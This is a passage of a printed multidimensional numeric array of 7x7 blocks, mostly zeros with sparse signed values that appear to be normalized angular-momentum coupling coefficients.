[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.25819889, 0. , 0. ],
[ 0. , 0. , 0. , -0.36514837, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0.18257419, 0. , 0. , 0. ],
[ 0. , 0. , 0.25819889, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.25819889, 0. , 0. ],
[ 0. , 0. , 0. , -0.18257419, 0. , 0. , 0. ],
[ 0. , 0. , 0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.36514837, 0. , 0. , 0. ],
[ 0. , 0. , -0.25819889, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.23904572, 0. ],
[ 0. , 0. , 0. , 0. , -0.29277002, 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.29277002, 0. ],
[ 0. , 0. , 0. , 0. , 0.11952286, 0. , 0. ],
[ 0. , 0. , 0. , 0.11952286, 0. , 0. , 0. ],
[ 0. , 0. , -0.29277002, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.23904572, 0. ],
[ 0. , 0. , 0. , 0. , 0.11952286, 0. , 0. ],
[ 0. , 0. , 0. , -0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , 0.11952286, 0. , 0. , 0. , 0. ],
[ 0. , 0.23904572, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.29277002, 0. , 0. ],
[ 0. , 0. , 0. , 0.11952286, 0. , 0. , 0. ],
[ 0. , 0. , 0.11952286, 0. , 0. , 0. , 0. ],
[ 0. , -0.29277002, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , -0.29277002, 0. , 0. , 0. , 0. ],
[ 0. , 0.23904572, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.26726124],
[ 0. , 0. , 0. , 0. , 0. , -0.26726124, 0. ],
[ 0. , 0. , 0. , 0. , 0.20701967, 0. , 0. ],
[ 0. , 0. , 0. , -0.11952286, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , -0.26726124],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , -0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , 0.20701967, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.26726124, 0. ],
[ 0. , 0. , 0. , 0. , -0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , -0.26726124, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.20701967, 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , -0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0.26726124, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.11952286, 0. , 0. , 0. ],
[ 0. , 0. , -0.20701967, 0. , 0. , 0. , 0. ],
[ 0. , 0.26726124, 0. , 0. , 0. , 0. , 0. ],
[-0.26726124, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.09759001, 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.37796447, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , 0.27602622, 0. , 0. , 0. ],
[ 0. , 0. , -0.3086067 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , -0.29277002, 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.3086067 , 0. , 0. ],
[ 0. , 0. , 0. , 0.27602622, 0. , 0. , 0. ],
[ 0. , 0. , -0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0.37796447, 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.09759001, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.11952286, 0. ],
[ 0. , 0. , 0. , 0. , -0.20701967, 0. , 0. ],
[ 0. , 0. , 0. , 0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , -0.26726124, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.20701967, 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , -0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.26726124, 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.26726124, 0. ],
[ 0. , 0. , 0. , 0. , -0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , -0.26726124, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , -0.26726124, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , -0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0.20701967, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0.26726124, 0. , 0. ],
[ 0. , 0. , 0. , -0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , 0.20701967, 0. , 0. , 0. , 0. ],
[ 0. , -0.11952286, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.15430335],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.15430335, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , -0.24397502],
[ 0. , 0. , 0. , 0. , 0. , 0.18898224, 0. ],
[ 0. , 0. , 0. , 0. , -0.06900656, 0. , 0. ],
[ 0. , 0. , 0. , -0.06900656, 0. , 0. , 0. ],
[ 0. , 0. , 0.18898224, 0. , 0. , 0. , 0. ],
[ 0. , -0.24397502, 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0.24397502],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.14638501, 0. , 0. ],
[ 0. , 0. , 0. , 0.19518001, 0. , 0. , 0. ],
[ 0. , 0. , -0.14638501, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0.24397502, 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , -0.24397502, 0. ],
[ 0. , 0. , 0. , 0. , 0.18898224, 0. , 0. ],
[ 0. , 0. , 0. , -0.06900656, 0. , 0. , 0. ],
[ 0. , 0. , -0.06900656, 0. , 0. , 0. , 0. ],
[ 0. , 0.18898224, 0. , 0. , 0. , 0. , 0. ],
[-0.24397502, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0.15430335, 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0.15430335, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]]],
[[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
